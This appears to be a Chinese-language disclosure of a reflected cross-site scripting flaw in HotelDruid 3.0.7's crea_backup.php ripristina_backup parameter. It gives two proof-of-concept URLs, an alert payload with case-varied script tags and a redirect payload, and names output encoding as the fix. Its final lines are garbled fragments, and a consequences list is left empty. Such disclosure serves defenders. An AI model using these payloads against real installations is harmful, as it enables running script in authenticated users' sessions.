DigitalDruid HotelDruid v.3.0.7 中存在跨站脚本攻击漏洞,攻击者能够通过 crea_backup.php 端点中的 ripristina_backup 参数执行任意代码并获取敏感信息
攻击者可诱骗已认证用户访问精心构造的 URL,从而在其浏览器中触发恶意 JavaScript。潜在后果包括:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
结果: 弹出消息“Huy Vo Found This Vulnerability”的提示框,确认 XSS 成功执行。
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
结果: 浏览器自动重定向至 Facebook。
HotelDruid 是一款开源物业管理系统,用于酒店、民宿等住宿业务的预订、房间和发票管理。它基于 Web,通常部署在本地服务器上并通过浏览器访问。鉴于其 Web 界面和管理性质,安全性至关重要——尤其是对已认证的功能。
crea_backup.php 端点处理 ripristina_backup 参数时未进行清理或编码,直接将用户输入反射回页面。这使得攻击者能够构造恶意 URL,向已认证用户的页面中注入任意 JavaScript。
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup 中。htmlspecialchars() 对 < 和 > 字符进行编码)。